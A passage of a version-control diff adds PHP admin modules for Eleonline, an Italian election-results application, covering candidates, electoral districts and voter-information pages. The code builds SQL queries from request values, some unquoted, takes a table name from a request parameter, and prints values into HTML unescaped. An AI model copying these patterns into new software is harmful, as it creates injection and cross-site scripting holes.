+	#'Pagina precedente' e 'Pagina Successiva'
+	echo"<table align=\"center\" width=\"100%\" ><tr>";
+	$prev=$min-$offset;
+	if ($prev>=0) {
+			echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=candidato&amp;id_cand=$id_cand&amp;id_gruppo=$id_gruppo&amp;id_cons=$id_cons&amp;id_circ=$id_circ&amp;id_lista=$id_lista&amp;min=$prev&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune\">";
+			echo "<b>$offset "._PREV_MATCH."</b></a></td>";
+	}
+
+	$next=$min+$offset;
+	if ($next>=($offset-1)) {
+		if($next>=$max) $next = $max;
+	else {
+
+			echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=candidato&amp;id_cand=$id_cand&amp;id_gruppo=$id_gruppo&amp;id_cons=$id_cons&amp;id_lista=$id_lista&amp;min=$next&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune\">";
+			echo "<b>$offset "._NEXT_MATCH."</b></a></td>";
+		}
+	}
+	echo "</tr></table><br>";
+
+}
+
+////////////////////////////////////////////////////////
+// Aggiunge candidato
+////////////////////////////////////////////////////////
+
+
+function candidato($ok, $do,$id_cand, $id_lista,$id_circ, $id_gruppo,$cognome, $nome, $note, $simbolo,$id_cand2,$num_cand) {
+	global $param, $bgcolor1, $bgcolor2, $prefix, $dbi, $descr_cons, $id_cons,$simbolo2,$min,$id_cons_gen,$id_comune,$id_sez;
+$aid=$_SESSION['aid'];
+$perms=ChiSei($id_cons_gen);
+if ($perms >16) {
+		if($id_cand) {
+			$res = mysql_query("SELECT * FROM ".$prefix."_ele_candidati where id_cand='$id_cand'", $dbi);
+		}else{
+			$res = mysql_query("SELECT * FROM ".$prefix."_ele_candidati where id_lista='$id_lista'
+			and id_cons=$id_cons and cognome=$cognome and nome=$nome", $dbi);
+		}
+		$username=$aid;
+		$data=date("Y/m/d");
+		$tempo=date("H:i:s");
+
+    		if ($do == "delete") {
+			if ($ok !="1") {
+				ele();
+				echo "<center><br><br>"._DOMCANCELLA." "._CANDIDATO." $cognome $nome ?<br>";
+				echo "[ <a href=\"admin.php?op=candidato&amp;id_cons_gen=$id_cons_gen\">"._NO."</a> ] - [<a href=\"admin.php?op=candidato&amp;do=delete&amp;id_cand=$id_cand&amp;id_gruppo=$id_gruppo&amp;id_cons=$id_cons&amp;id_circ=$id_circ&amp;ok=1&amp;id_cons_gen=$id_cons_gen&amp;id_lista=$id_lista&amp;id_comune=$id_comune\">"._YES."</a> ]";
+ 	    		}else{
+				$pro= mysql_fetch_array($res, MYSQL_ASSOC);
+				$result = mysql_query("delete from ".$prefix."_ele_candidati where id_cand='$id_cand'", $dbi);
+				mysql_query("insert into ".$prefix."_ele_log values ('$id_cons','$id_sez','$username','$data','$tempo','DELETE:id_lista:$pro[id_lista],cognome:$pro[cognome],nome:$pro[nome]','','".$prefix."_ele_candidati')", $dbi);
+				if (!$result)return;
+				Header("Location: admin.php?op=candidato&id_cons=$id_cons&id_cons_gen=$id_cons_gen&id_comune=$id_comune&id_circ=$id_circ&id_lista=$id_lista");
+			}
+		}elseif ($do == "add") {
+			if ($cognome) {
+		// dati gruppo
+				if (!$num_cand){
+					$result = mysql_query("select max(num_cand) from ".$prefix."_ele_candidati where id_lista='$id_lista'", $dbi);
+					if ($result) list($num_cand)=mysql_fetch_row($result);
+					else $num_cand=0;
+					$num_cand++;
+				}
+				$result = mysql_query("select id_gruppo from ".$prefix."_ele_lista where id_lista='$id_lista'", $dbi);
+				list($id_gruppo)=mysql_fetch_row($result);
+				$result = mysql_query("insert into ".$prefix."_ele_candidati(id_cons,id_lista,cognome,nome,note,simbolo,num_cand) values ('$id_cons','$id_lista','$cognome','$nome','$note','$simbolo','$num_cand')", $dbi);
+				mysql_query("insert into ".$prefix."_ele_log values ('$id_cons','$id_sez','$username','$data','$tempo','','ADD:id_lista:$id_lista,cognome:$cognome,nome:$nome','".$prefix."_ele_candidati')", $dbi);
+					if (!$result) return;
+					Header("Location: admin.php?op=candidato&id_cons=$id_cons&id_lista=$id_lista&id_cons_gen=$id_cons_gen&id_comune=$id_comune&id_circ=$id_circ");
+			} else {
+				ele();
+				OpenTable();
+				echo "<center>"._GESTIONE." "._CANDIDATO." ";
+				echo "<br><br><a href=\"admin.php?op=candidato&amp;id_cons=$id_cons&amp;id_lista=$id_lista&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=$id_circ\">"._IMM." "._CANDIDATO."</a></center>";
+				CloseTable();exit;
+			}
+		}elseif ($do == "update") {
+		
+		$pro= mysql_fetch_array($res, MYSQL_ASSOC);
+		$result = mysql_query("select id_gruppo from ".$prefix."_ele_lista where id_lista='$id_lista'", $dbi);
+		list($id_gruppo)=mysql_fetch_row($result);
+		$cond='';
+		if (isset($note)) {$cond=", note='$note'";}
+		if (isset($simbolo)) {$cond.=", simbolo='$simbolo'";}
+		$result = mysql_query("update  ".$prefix."_ele_candidati set id_lista='$id_lista', cognome='$cognome', nome='$nome', num_cand='$num_cand' $cond where id_cand='$id_cand' ", $dbi);
+		mysql_query("insert into ".$prefix."_ele_log values ('$id_cons','$id_sez','$username','$data','$tempo','UPDATE:id_lista:$pro[id_lista],cognome:$pro[cognome],nome:$pro[nome],num_cand:$pro[num_cand]','id_lista:$id_lista,cognome:$cognome,nome:$nome,num_cand:$num_cand','".$prefix."_ele_candidati')", $dbi);
+		if (!$result) return;
+		Header("Location: admin.php?op=candidato&id_cons=$id_cons&id_lista=$id_lista&id_cons_gen=$id_cons_gen&id_comune=$id_comune&id_circ=$id_circ");
+	}
+
+}
+}
+
+
+
+if ($do and $do!='modify')
+    candidato($ok, $do,$id_cand, $id_lista,$id_circ, $id_gruppo,$cognome, $nome, $note, $simbolo,$id_cand2,$num_cand);
+    else ele();
+//if (!$do)ele();
+all();
+echo"</td></tr></table>";
+include("footer.php");
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_circo.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_circo.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_circo.php	(revision 44)
@@ -0,0 +1,172 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Circoscrizioni                                                */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+
+$id_comune=$_SESSION['id_comune'];
+$id_cons_gen=$_GET['id_cons_gen'];
+$perms=ChiSei($id_cons_gen);
+if ($perms<16 or !$id_cons_gen) die("Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+
+$res = mysql_query("SELECT t1.tipo_cons,t1.descrizione,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+list($tipo_cons,$descr_cons,$id_cons) = mysql_fetch_row($res);
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+// Offset - visualizza il numero di elementi per pagina
+if (isset($_GET['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($_GET['min'])) $min=intval($_GET['min']); else $min=0;
+if (isset($_GET['id_circ'])) $id_circ=intval($_GET['id_circ']); else $id_circ='';
+if (isset($_GET['ok'])) $ok=intval($_GET['ok']); else $ok='';
+if (isset($_GET['num_circ'])) $num_circ=intval($_GET['num_circ']); else $num_circ='';
+if (isset($_GET['descr_circ'])) get_magic_quotes_gpc() ? $descr_circ=$param['descr_circ']:$descr_circ=addslashes($param['descr_circ']); else $descr_circ='';
+$offset=10;
+$hiddenInfo = "<input type=\"hidden\" name=\"min\" value=\"$min\">";
+
+
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+
+function all() {
+   global $admin, $bgcolor1, $bgcolor2, $prefix, $dbi, $offset, $min, $id_cons,$id_cons_gen,$do,$id_circ;
+	echo "<center><font class=\"title\"><br><b>"._CIRCO."</b></font><br><br>";
+	echo "<table border=\"0\" width=\"100%\"><tr>";
+	echo "<td bgcolor=\"$bgcolor1\" align=\"center\" width=\"5%\"><b>"._NUM."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\">&nbsp;<b>"._DESCR."</b>&nbsp;</td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._FUNZIONI."</b></td></tr>";
+
+	echo "<form name=\"circo\" action=\"admin.php\">"
+	."<input type=\"hidden\" name=\"op\" value=\"circo\">"
+	."<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	if ($do == "modify"){
+		$res = mysql_query("SELECT * FROM ".$prefix."_ele_circoscrizione where id_circ='$id_circ'", $dbi);
+		$pro= mysql_fetch_array($res, 3);
+		echo "<input type=\"hidden\" name=\"id_circ\" value=\"$id_circ\">"
+		."<input type=\"hidden\" name=\"do\" value=\"update\">";
+		echo "<tr><td align=\"right\"><input  name=\"num_circ\" value=\"$pro[num_circ]\" size=\"3\"></td>";
+		echo "<td><input type=\"text\" name=\"descr_circ\" value=\"$pro[descrizione]\"maxlength=\"100\" size=\"40\"></td>"
+		."<td align=\"center\"><input type=\"submit\" name=\"update\" value=\""._MODIFY."\"></td></tr>";
+	} else {
+		$result = mysql_query("select * from ".$prefix."_ele_circoscrizione where id_cons='$id_cons'",$dbi);
+		$numc=mysql_num_rows($result);
+		$numc++;
+		echo "<input type=\"hidden\" name=\"do\" value=\"add\">";
+		echo "<tr><td align=\"right\"><input type=\"text\" name=\"num_circ\"  maxlength=\"3\" size=\"3\" value=\"$numc\"></td>"
+		."<td><input type=\"text\" name=\"descr_circ\" maxlength=\"100\" size=\"40\"></td>";
+		echo "<td align=\"center\"><input type=\"submit\" name=\"add\" value=\""._ADD."\"></td></tr>";
+	}	
+	echo "</form><tr></tr>";
+	$res = mysql_query("SELECT * FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons'  ", $dbi);
+	$max = mysql_num_rows($res);
+	$result = mysql_query("select * from ".$prefix."_ele_circoscrizione where id_cons='$id_cons'  ORDER BY num_circ  LIMIT $min,$offset", $dbi);
+	while(list($id_cons2, $id_circ, $num_sez, $descr_circ) = mysql_fetch_row($result)) {
+		$restemp = mysql_query("select count(0) from ".$prefix."_ele_sede where id_circ='$id_circ'", $dbi);
+		list($numtemp)=mysql_fetch_row($restemp);
+		$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+		echo "<tr bgcolor=\"$bgcolor1\"><td align=\"right\"width=\"5%\"><b>$num_sez</b>"
+		."</td><td align=\"left\"><b>$descr_circ</b>"
+		."</td><td align=\"center\" nowrap>[<a
+			href=\"admin.php?op=circo&amp;do=modify&amp;id_circ=$id_circ&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen\"><img src=\"modules/Elezioni/images/edit.gif\"
+			border=\"0\" align=\"center\"> "._EDIT."</a>]";
+			if (!$numtemp)
+				echo "[<a href=\"admin.php?op=circo&amp;do=delete&amp;id_circ=$id_circ&amp;descr_circ=$descr_circ&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen\">"._DELETE." <img src=\"modules/Elezioni/images/delete.gif\" border=\"0\" align=\"center\"></a>]";
+			else
+				echo "["._DELETE." <img src=\"modules/Elezioni/images/delete.gif\" border=\"0\" align=\"center\">]";
+		echo "</td></tr>";
+	}
+	echo "</table></center>";
+	#'Pagina precedente' e 'Pagina Successiva'
+	echo"<table align=\"center\" width=\"100%\" ><tr>";
+	$prev=$min-$offset;
+	if ($prev>=0) {
+		echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=circo&amp;id_cons=$id_cons&amp;min=$prev&amp;id_cons_gen=$id_cons_gen\">";
+		echo "<b>$offset "._PREV_MATCH."</b></a></td>";
+	}
+	
+	$next=$min+$offset;
+	if ($next>=($offset-1)) {
+		if($next>=$max) $next = $max;
+		else {
+			echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=circo&amp;id_cons=$id_cons&amp;min=$next&amp;id_cons_gen=$id_cons_gen\">";
+			echo "<b>$offset "._NEXT_MATCH."</b></a></td>";
+		}
+	}
+	echo "</tr></table><br>";
+	
+}
+
+
+
+//***********************************
+// Consultazione
+// ricordarsi di aggiungere l'eliminazione di tutti
+// i dati della consultazione nelle altre tabelle
+//  hai capito?
+//***********************************
+
+function circo($ok, $do, $id_cons ,$num_circ,$descr_cons, $id_circ, $descr_circ) {
+global $aid, $prefix, $dbi, $id_cons_gen;
+$perms=	ChiSei($id_cons_gen);
+if ($perms>16) {
+	if ($do == "delete") {
+		if ($ok !="1") {
+			ele();
+			echo "<center><br><br>"._DOMCANCELLA." $descr_circ ?<br>";
+			echo "[ <a href=\"admin.php?op=circo&amp;id_cons_gen=$id_cons_gen\">"._NO."</a> ] - [<a href=\"admin.php?op=circo&amp;do=delete&amp;id_circ=$id_circ&amp;ok=1&amp;id_cons_gen=$id_cons_gen\">"._YES."</a> ]";
+			include("footer.php");
+			die();
+		}else{
+			$rescirc= mysql_query("select num_circ from ".$prefix."_ele_circoscrizione where id_circ=$id_circ",$dbi);
+			if (mysql_num_rows($rescirc)!=1) die("(1001) Grave errore nel database! contattare l'amministratore");
+			list($num_circ)=mysql_fetch_row($rescirc);
+#			$rif_numcirc=($num_circ>1)?($num_circ-1):($num_circ+1);
+#			$rescirc= mysql_query("select id_circ from ".$prefix."_ele_circoscrizione where num_circ=$rif_numcirc and id_cons=$id_cons",$dbi);
+#			if (mysql_num_rows($rescirc)!=1) die("(1002) Grave errore nel database! contattare l'amministratore -- select id_circ from ".$prefix."_ele_circoscrizione where num_circ=$rif_numcirc  -- $num_circ and id_cons=$id_cons");
+#			list($rif_idcirc)=mysql_fetch_row($rescirc);
+#			mysql_query("update ".$prefix."_ele_sede set id_circ=$rif_idcirc where id_circ=$id_circ",$dbi);
+			$result = mysql_query("delete from ".$prefix."_ele_circoscrizione where id_circ='$id_circ'", $dbi)|| die("(1003) Grave errore nel database! contattare l'amministratore".mysql_error());
+			$rescirc= mysql_query("select id_circ,num_circ from ".$prefix."_ele_circoscrizione where num_circ>$num_circ and id_cons=$id_cons",$dbi);
+			while (list($tmp_id,$tmp_num)=mysql_fetch_row($rescirc))
+				mysql_query("update ".$prefix."_ele_circoscrizione set num_circ=".($tmp_num-1)." where id_circ=$tmp_id",$dbi);
+			Header("Location: admin.php?op=circo&id_cons_gen=$id_cons_gen");
+		}
+	}elseif ($do == "add") {
+		if ($descr_circ) {
+			$result = mysql_query("insert into ".$prefix."_ele_circoscrizione (id_cons,num_circ,descrizione) values ('$id_cons','$num_circ','$descr_circ')", $dbi)|| die("(1004) Non e' stato possibile inserire i dati nel database! contattare l'amministratore".mysql_error());
+			Header("Location: admin.php?op=circo&id_cons_gen=$id_cons_gen");
+		}
+	}elseif ($do == "update") {
+		
+		$result = mysql_query("update  ".$prefix."_ele_circoscrizione set num_circ='$num_circ' , descrizione='$descr_circ' WHERE id_circ='$id_circ'", $dbi)|| die("(1005) Non e' stato possibile aggiornare i dati! contattare l'amministratore".mysql_error());
+		Header("Location: admin.php?op=circo&id_cons_gen=$id_cons_gen");
+	}
+	
+
+}
+
+}
+
+
+if ($do!= "")
+    circo($ok,$do, $id_cons,$num_circ,$descr_cons,$id_circ,$descr_circ);
+ele();
+all();
+echo"</td></tr></table>";
+include("footer.php");
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_collegi.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_collegi.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_collegi.php	(revision 44)
@@ -0,0 +1,129 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo definizione collegi o zone                                    */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$id_cons_gen=$_GET['id_cons_gen'];
+$perms=ChiSei(0);
+if ($perms<128 or !$id_cons_gen) die("$perms Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+
+// Offset - visualizza il numero di elementi per pagina
+
+$offset=15;
+if (isset($_GET['desc'])) get_magic_quotes_gpc() ? $desc=$param['desc']:$desc=addslashes($param['desc']);else $desc='';
+if (isset($_GET['id_collegio'])) $id_collegio=intval($_GET['id_collegio']);else $id_collegio='';
+if (isset($_GET['ok'])) $ok=intval($_GET['ok']); else $ok='';
+if (isset($_GET['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']);else $do='';
+if (isset($_GET['op'])) get_magic_quotes_gpc() ? $op=$param['op']:$op=addslashes($param['op']);else $op='';
+
+
+	/******************************************************/
+	/*Funzione di visualizzazione globale                 */
+	/*****************************************************/
+	//crea la pagina delle affluenze
+function all() {
+	global $bgcolor1, $bgcolor2, $prefix, $dbi,$id_cons,$desc,$id_cons_gen,$id_collegio;
+
+	OpenTable();	
+	$resmod = mysql_query("SELECT t1.id_collegio, t1.descrizione, t2.descrizione FROM ".$prefix."_ele_collegi as t1, ".$prefix."_ele_consultazione as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen=$id_cons_gen order by t1.descrizione asc", $dbi);
+	echo "<table><tr ALIGN=\"CENTER\">";
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._CONSULTA."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._COLLEGI."</b></td>";
+	echo "</tr>";
+	echo "<form name=\"modello\" action=\"admin.php\">"
+		."<input type=\"hidden\" name=\"op\" value=\"inscollegi\">";
+	echo "<input type=\"hidden\" name=\"id_collegio\" value=\"$id_collegio\">";
+	echo "<tr align=\"center\">";
+	$ressede = mysql_query("SELECT descrizione from ".$prefix."_ele_consultazione where id_cons_gen='$id_cons_gen'", $dbi);
+	list($descr_cons)=mysql_fetch_row($ressede);
+	echo "<td>$descr_cons</td>";
+	echo "<td  align=\"center\" width=\"32\"><input name=\"desc\" value=\"$desc\"></td>";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	echo "<input type=\"hidden\" name=\"ok\" value=0>";
+	if ($desc) {
+		echo "<input type=\"hidden\" name=\"do\" value=\"update\">";
+		echo "<td><input type=\"submit\" name=\"add\" value=\""._MODIFY."\"></td></tr></form>";
+	}else{
+		echo "<input type=\"hidden\" name=\"do\" value=\"add\">";
+		echo "<td><input type=\"submit\" name=\"add\" value=\""._ADD."\"></td></tr></form>";
+	}
+	$i=0;
+	while (list($id_collegio2,$desc,$descr_cons) = mysql_fetch_row($resmod)){ //elenco dei modelli inseriti
+		$i++;
+		$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+		echo "<form name=\"modello$i\" action=\"admin.php\">"
+			."<input type=\"hidden\" name=\"op\" value=\"inscollegi\">";
+		echo "<input type=\"hidden\" name=\"do\" value=\"delete\">";
+		echo "<input type=\"hidden\" name=\"desc\" value=\"$desc\">";
+		echo "<input type=\"hidden\" name=\"id_collegio\" value=\"$id_collegio2\">";
+		echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+		echo "<tr align=\"center\" bgcolor=\"$bgcolor1\">";
+		echo "<td></td>";
+		echo "<td  align=\"center\" width=\"32\"><b>$desc</b></td>";
+		echo "<input type=\"hidden\" name=\"ok\" value=0>";
+		echo "</td><td align=\"center\" nowrap>[<a
+		href=\"admin.php?op=inscollegi&amp;desc=$desc&amp;id_cons_gen=$id_cons_gen&amp;id_collegio=$id_collegio2\"><img src=\"modules/Elezioni/images/edit.gif\"
+                border=\"0\" align=\"center\"> "._EDIT."</a>]";
+		echo "<td><input type=\"submit\" name=\"erase$i\" value=\""._DELETE."\">"
+			."</td></tr></form>";
+	}
+	echo "</table>";
+	CloseTable();
+	}
+
+function collegi($ok, $do,$desc,$id_collegio) {
+	global $bgcolor1, $bgcolor2, $prefix, $dbi, $descr_cons, $id_cons_gen,$genere;
+	if ($do !="") {
+       	if ($do == "delete") {
+     			if ($ok !="1") {
+				ele();
+				echo "<center><br><br>"._DOMCANCELLA." "._COLLEGIO." $desc ?<br>";
+				echo "[ <a href=\"admin.php?op=inscollegi&amp;id_cons_gen=$id_cons_gen&amp;id_collegio=$id_collegio&amp;desc=$desc\">"._NO."</a> ] - [<a href=\"admin.php?op=inscollegi&amp;do=delete&amp;id_cons_gen=$id_cons_gen&amp;desc=$desc&amp;id_collegio=$id_collegio&amp;ok=1\">"._YES."</a> ]";
+				die();
+  	   		}else{
+			  	$result = mysql_query("delete from ".$prefix."_ele_collegi where id_collegio='$id_collegio'", $dbi);
+    		      		if (!$result) return;
+			  	Header("Location: admin.php?op=inscollegi&id_cons_gen=$id_cons_gen");
+			}
+     	 	}
+   	  	if ($do == "add") {
+   	   		$result = mysql_query("insert into ".$prefix."_ele_collegi(id_cons_gen,descrizione) values ('$id_cons_gen','$desc')", $dbi) || die("Impossibile inserire il collegio! ".mysql_error());
+   		}
+    	 	if ($do == "update") {
+    		    	$result = mysql_query("update  ".$prefix."_ele_collegi set descrizione='$desc' , id_cons_gen='$id_cons_gen' where id_collegio='$id_collegio'", $dbi);
+    	       	if (!$result) return;
+#			echo "update  ".$prefix."_ele_collegi set descrizione='$desc' , id_cons_gen='$id_cons_gen' where id_collegio='$id_collegio'";
+   	        	Header("Location: admin.php?op=inscollegi&id_cons_gen=$id_cons_gen&id_collegio=$id_collegio");
+   		}
+	} 
+}
+
+//****************************
+	switch ($op){
+		case "inscollegi":
+			if ($desc){
+				collegi($ok, $do,$desc,$id_collegio);
+			}else collegi('','','','');
+    		break;
+	}
+	ele();
+	all();
+	include("footer.php");
+
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_come.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_come.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_come.php	(revision 44)
@@ -0,0 +1,226 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Come si vota, servizi, numeri e link                          */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+$id_comune=$_SESSION['id_comune'];
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=$param['id_cons_gen'];
+$perms=ChiSei(0);
+
+
+if (isset($param['add_title'])) get_magic_quotes_gpc() ? $add_title=$param['add_title']:$add_title=addslashes($param['add_title']); else $add_title='';
+if (isset($param['add_preamble'])) get_magic_quotes_gpc() ? $add_preamble=$param['add_preamble']:$add_preamble=addslashes($param['add_preamble']); else $add_preamble='';
+if (isset($param['add_content'])) get_magic_quotes_gpc() ? $add_content=$param['add_content']:$add_content=addslashes($param['add_content']); else $add_content='';
+if (isset($param['vai'])) get_magic_quotes_gpc() ? $vai=$param['vai']:$vai=addslashes($param['vai']); else $vai='come';
+if (isset($param['mid'])) get_magic_quotes_gpc() ? $mid=$param['mid']:$mid=addslashes($param['mid']); else $mid='';
+if (isset($param['ok'])) get_magic_quotes_gpc() ? $ok=$param['ok']:$ok=addslashes($param['ok']); else $ok='';
+if (isset($param['op'])) get_magic_quotes_gpc() ? $op=$param['op']:$op=addslashes($param['op']); else $op='come';
+$tab='_ele_'.$op;
+
+/*********************************************************/
+/* come Functions                                    */
+/*********************************************************/
+$sql="SELECT t1.descrizione,t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'";
+$res = mysql_query("$sql", $dbi);
+list($descr_cons,$tipo_cons,$id_cons) = mysql_fetch_row($res);
+
+include("modules/Elezioni/ele.php");
+include("inc/funzioni.php");
+
+function come() {
+    global $admin, $bgcolor1, $bgcolor2, $prefix, $dbi, $id_cons, $tipo_cons, $id_cons,$id_cons_gen, $editimage1,
+    $add_content, $add_preamble, $add_title, $vai,$mid,$tab,$op,$editor;
+
+    if ($tab=='_ele_come') echo "<center><font class=\"title\"><b>"._ADMINCOME."</b></font></center><br>";
+    elseif ($tab=='_ele_numeri') echo "<center><font class=\"title\"><b>"._ADMINNUMERI."</b></font></center><br>";
+    elseif ($tab=='_ele_servizi') echo "<center><font class=\"title\"><b>"._ADMINSERVIZI."</b></font></center><br>";
+    elseif ($tab=='_ele_link') echo "<center><font class=\"title\"><b>"._ADMINLINK."</b></font></center><br>";
+    
+    echo "<br>";
+
+    
+    echo "<center><font class=\"title\"><b>"._ALLCOME."</b></font><br><br><table border=\"0\" width=\"70%\" >"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._TITOLO."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\">&nbsp;<b>"._FUNZIONI."</b>&nbsp;</td></tr>";
+    $result = mysql_query("select  mid, title,preamble, content,  editimage from ".$prefix.$tab."  where id_cons='$id_cons'", $dbi);
+    while(list($mid2, $title, $preamble, $content,  $editimage) = mysql_fetch_row($result)) {
+
+	echo "<tr>"
+	    ."<td align=\"center\" width=\"100%\">$title</td>"
+	     ."<td align=\"right\" nowrap bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=$op&amp;vai=editedit&amp;mid=$mid2&amp;id_cons_gen=$id_cons_gen\">
+	     <img src=\"modules/Elezioni/images/edit.gif\" border=\"0\" align=\"middle\"> "._EDIT."</a> -
+		<a href=\"admin.php?op=$op&amp;vai=deleteedit&amp;mid=$mid2&amp;id_cons_gen=$id_cons_gen\">"._DELETE."
+	     <img src=\"modules/Elezioni/images/delete.gif\" border=\"0\" align=\"middle\"></a>"
+	    ."</td></tr>";
+
+    }
+    echo "</table><br>";
+    echo "<table border=\"0\" width=\"70%\"><tr><td>";
+    echo "<br>";
+    if($vai=='editedit'){
+    $result = mysql_query("select title, preamble,content, editimage from ".$prefix.$tab." WHERE mid='$mid' AND id_cons='$id_cons'", $dbi);
+    list($add_title,$add_preamble, $add_content, $editimage) = mysql_fetch_row($result);
+    }
+//25.05.2009
+    $sql="SELECT editor,ed_user FROM ".$prefix."_config";
+$res = mysql_query("$sql", $dbi);
+list($editor,$ed_user) = mysql_fetch_row($res);
+//
+
+    echo "<center><font class=\"title\"><b>"._ADDCOME."</b></font></center><br>";
+    echo "<form  action=\"admin.php\" method=\"post\">";
+    echo "<br><b><h6>"._TITOLO.":</b><br>
+         <input class=\"modulo\" type=\"text\" name=\"add_title\" value=\"$add_title\" size=\"50\" maxlength=\"100\"><br><br>";
+    if ($op=="link"){
+         if ($add_preamble=='')$add_preamble="http://";
+	echo "<b>"._LINK.":</b><br>"
+	."<input class=\"modulo\" name=\"add_preamble\" size=\"50\" value=\"$add_preamble\"><br><br><b>";
+     }else{
+	echo "<b>"._PREAMBOLO.":</b><br>";
+//25 maggio 2009
+	if ($editor)
+		js_textarea("add_preamble", "$add_preamble", "$ed_user", "80", "10"); // 25 --> 24 maggio 2009 editor'
+	else
+		echo "<textarea class=\"modulo\" name=\"add_preamble\" rows=\"7\" wrap=\"virtual\" cols=\"60\">$add_preamble</textarea><br><br><b>";
+//
+	echo "<br><br><b>";
+     }	
+	if ($op=='come') echo _CONTENUTO;
+	elseif ($op=='numeri') echo _NUMERITEL;
+	elseif ($op=='servizi') echo _DESCRAPP;
+	elseif ($op=='link') echo _DESCRLINK;
+	echo ":</b><br>";
+        //( "._HELPHTML." )<br>";
+//25 maggio 2009
+
+	if ($editor)
+		js_textarea("add_content", "$add_content", "$ed_user", "80", "20"); // 25 -->24 maggio 2009 editor
+	else
+		echo "<textarea class=\"modulo\" name=\"add_content\" rows=\"15\" wrap=\"virtual\" cols=\"60\">$add_content</textarea><br><br>";
+//
+	echo "<br/><br/>";
+       echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+       ."<input type=\"hidden\" name=\"mid\" value=\"$mid\">"
+       ."<input type=\"hidden\" name=\"tab\" value=\"$tab\">"
+	."<input type=\"hidden\" name=\"op\" value=\"$op\">";
+	if ($vai=='editedit'){
+   	echo "<input type=\"hidden\" name=\"vai\" value=\"saveedit\">"
